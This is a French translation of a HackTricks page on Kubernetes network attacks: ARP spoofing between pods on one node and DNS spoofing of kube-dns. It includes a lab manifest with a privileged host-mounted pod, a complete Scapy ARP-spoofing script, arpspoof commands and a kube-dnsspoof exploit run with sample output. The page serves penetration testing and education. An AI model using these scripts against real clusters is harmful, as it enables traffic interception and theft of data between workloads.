Français - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

Kubernetes Network Attacks

Soutenez HackTricks

Introduction

Dans Kubernetes, il est observé qu'un comportement par défaut permet l'établissement de connexions entre tous les conteneurs résidant sur le même nœud. Cela s'applique indépendamment des distinctions de l'espace de noms. Cette connectivité s'étend jusqu'au niveau 2 (Ethernet). Par conséquent, cette configuration expose potentiellement le système à des vulnérabilités. Plus précisément, elle ouvre la possibilité pour un conteneur malveillant d'exécuter une attaque de détournement ARP contre d'autres conteneurs situés sur le même nœud. Pendant une telle attaque, le conteneur malveillant peut intercepter ou modifier de manière trompeuse le trafic réseau destiné à d'autres conteneurs.

Les attaques de détournement ARP impliquent que l'attaquant envoie de faux messages ARP (protocole de résolution d'adresse) sur un réseau local. Cela entraîne la liaison de l'adresse MAC de l'attaquant avec l'adresse IP d'un ordinateur ou serveur légitime sur le réseau. Après l'exécution réussie d'une telle attaque, l'attaquant peut intercepter, modifier, voire arrêter des données en transit. L'attaque est exécutée au niveau 2 du modèle OSI, c'est pourquoi la connectivité par défaut dans Kubernetes à ce niveau soulève des préoccupations en matière de sécurité.

Dans le scénario, 4 machines vont être créées :

  • ubuntu-pe : Machine privilégiée pour s'échapper vers le nœud et vérifier les métriques (non nécessaire pour l'attaque)

  • ubuntu-attack : Conteneur malveillant dans l'espace de noms par défaut

  • ubuntu-victim : Machine victime dans l'espace de noms kube-system

  • mysql : Machine victime dans l'espace de noms par défaut

echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

Réseau de base de Kubernetes

Si vous souhaitez obtenir plus de détails sur les sujets de réseau introduits ici, consultez les références.

ARP

En règle générale, le réseau de pod à pod à l'intérieur du nœud est disponible via un pont qui connecte tous les pods. Ce pont est appelé "cbr0". (Certains plugins réseau installeront leur propre pont.) Le cbr0 peut également gérer la résolution ARP (protocole de résolution d'adresses). Lorsqu'un paquet entrant arrive à cbr0, il peut résoudre l'adresse MAC de destination en utilisant ARP.

Ce fait implique que, par défaut, chaque pod s'exécutant dans le même nœud pourra communiquer avec tout autre pod dans le même nœud (indépendamment de l'espace de noms) au niveau Ethernet (couche 2).

Par conséquent, il est possible d'effectuer des attaques de spoofing ARP entre les pods dans le même nœud.

DNS

Dans les environnements Kubernetes, vous trouverez généralement 1 (ou plus) services DNS en cours d'exécution généralement dans l'espace de noms kube-system :

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

Dans les informations précédentes, vous pouvez voir quelque chose d'intéressant, l'IP du service est 10.96.0.10 mais l'IP du pod exécutant le service est 172.17.0.2.

Si vous vérifiez l'adresse DNS à l'intérieur de n'importe quel pod, vous trouverez quelque chose comme ceci:

cat /etc/resolv.conf
nameserver 10.96.0.10

Cependant, le pod ne sait pas comment accéder à cette adresse car la plage de pods dans ce cas est 172.17.0.10/26.

Par conséquent, le pod enverra les requêtes DNS à l'adresse 10.96.0.10 qui sera traduite par le cbr0 en 172.17.0.2.

Cela signifie qu'une requête DNS d'un pod va toujours passer par le pont pour traduire l'IP du service en IP de l'endpoint, même si le serveur DNS est dans le même sous-réseau que le pod.

Sachant cela, et sachant que les attaques ARP sont possibles, un pod dans un nœud pourra intercepter le trafic entre chaque pod dans le sous-réseau et le pont et modifier les réponses DNS du serveur DNS (Spoofing DNS).

De plus, si le serveur DNS est dans le même nœud que l'attaquant, l'attaquant pourra intercepter toutes les requêtes DNS de n'importe quel pod dans le cluster (entre le serveur DNS et le pont) et modifier les réponses.

ARP Spoofing dans les pods dans le même nœud

Notre objectif est de voler au moins la communication de ubuntu-victim vers mysql.

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS Spoofing

Comme cela a déjà été mentionné, si vous compromettez un pod dans le même nœud du pod serveur DNS, vous pouvez faire une attaque de l'homme du milieu (MitM) avec ARPSpoofing sur le pont et le pod DNS et modifier toutes les réponses DNS.

Vous avez un outil et un tutoriel très utiles pour tester cela sur https://github.com/danielsagi/kube-dnsspoof/

Dans notre scénario, téléchargez l'outil dans le pod de l'attaquant et créez un fichier nommé hosts avec les domaines que vous souhaitez faire du spoofing comme suit :

cat hosts
google.com. 1.1.1.1

Effectuer l'attaque sur la machine ubuntu-victim :

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

Si vous essayez de créer votre propre script de détournement DNS, si vous modifiez simplement la réponse DNS, cela ne fonctionnera pas, car la réponse aura une IP source l'adresse IP du pod malveillant et ne sera pas acceptée. Vous devez générer un nouveau paquet DNS avec l'IP source du DNS où la victime envoie la requête DNS (qui ressemble à 172.16.0.2, pas 10.96.0.10, c'est l'IP du service DNS de K8s et non l'IP du serveur DNS, plus d'informations à ce sujet dans l'introduction).

Capture du trafic

L'outil Mizu est un visualiseur de trafic API simple mais puissant pour Kubernetes vous permettant de visualiser toutes les communications API entre les microservices pour vous aider à déboguer et résoudre les régressions. Il installera des agents dans les pods sélectionnés, collectera leurs informations de trafic et vous les montrera dans un serveur web. Cependant, vous aurez besoin de permissions élevées pour K8s pour cela (et ce n'est pas très discret).

Références

Soutenez HackTricks
PreviousKubernetes Pivoting to CloudsNextKubernetes Hardening

Last updated